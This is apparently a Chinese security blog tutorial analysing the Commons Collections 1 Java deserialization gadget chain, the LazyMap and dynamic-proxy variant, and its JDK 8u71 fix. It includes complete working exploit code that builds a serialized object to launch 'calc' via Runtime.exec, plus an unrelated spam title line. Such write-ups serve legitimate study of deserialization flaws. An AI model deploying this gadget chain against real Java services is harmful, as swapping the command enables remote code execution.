有哪个网站教人做美食庆云网站seo
cc链1再分析
文章目录
- cc链1再分析
- 调用链分析
- 调用链
- LazyMap
- AnnotationInvocationHandler
- Proxy
- 最后的代码
- 版本区别
cc链1有两个版本,后半条链基本相同,我们来看下另一个版本的前半条链的调用过程
调用链分析
调用链
用到了动态代理
AnnotationInvocationHandler(Proxy)-->Proxy(AnnotationInvocationHandler).xxx-->AnnotationInvocationHandler.invoke(LazyMap)-->Lazymap.get(ChainedTransformer)-->ChainedTransformer.transformer
LazyMap
调用transformer的方法那里,看LazyMap类
在get()方法中,调用了factory.tranformer(),看这个factory
protected final Transformer factory;
是个Transformer类对象,虽然是protected,但是可以通过decorate
方法进行获取类对象
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();map.put("value","value");Map map1 = LazyMap.decorate(map, chainedTransformer);map1.get(Override.class);
get方法中随便传一个类,进入if语句即可
继续往下走,看谁调用了get方法
AnnotationInvocationHandler
rt.jar.reflect.annotation.AnnotationInvocationHandler
在这个类中有5个地方调用了get()方法,我们着重分析invoke
方法内的调用
我们需要绕过这些if
和switch
,去调用get方法
而在readObect中,有一行代码是执行member.entrySet()
,这个参数是我们代理的AnnotationInvocationHandler类,外部调用该类方法,会去调用invoke方法
Proxy
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationinvocationhandlerConstructor.setAccessible(true);//实例化InvocationHandler h = (InvocationHandler)annotationinvocationhandlerConstructor.newInstance(Target.class,map1);//动态代理Map newProxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);Object o = annotationinvocationhandlerConstructor.newInstance(Override.class, newProxyInstance);serialize(o);unserialize("ser.bin");
而最外部还是需要一个AnnotationInvocationHandler来作为序列化的起点,其readObject方法
注意:动态代理可以序列化
最后的代码
package cc1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class cc1 {public static void serialize(Object obj)throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));objectOutputStream.writeObject(obj);}//定义unserialize方法public static Object unserialize(String Filename ) throws IOException,ClassNotFoundException{ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream((Filename)));Object obj = objectInputStream.readObject();return obj;}//主函数public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();map.put("value","value");Map map1 = LazyMap.decorate(map, chainedTransformer);//map1.get(Override.class);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationinvocationhandlerConstructor.setAccessible(true);//实例化InvocationHandler h = (InvocationHandler)annotationinvocationhandlerConstructor.newInstance(Target.class,map1);//动态代理Map newProxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);Object o = annotationinvocationhandlerConstructor.newInstance(Override.class, newProxyInstance);serialize(o);unserialize("ser.bin");}
}
版本区别
1.8.071中将AnnotationInvocationHandler.readObject进行了修复,不再调用checkValue,所以cc1不能用了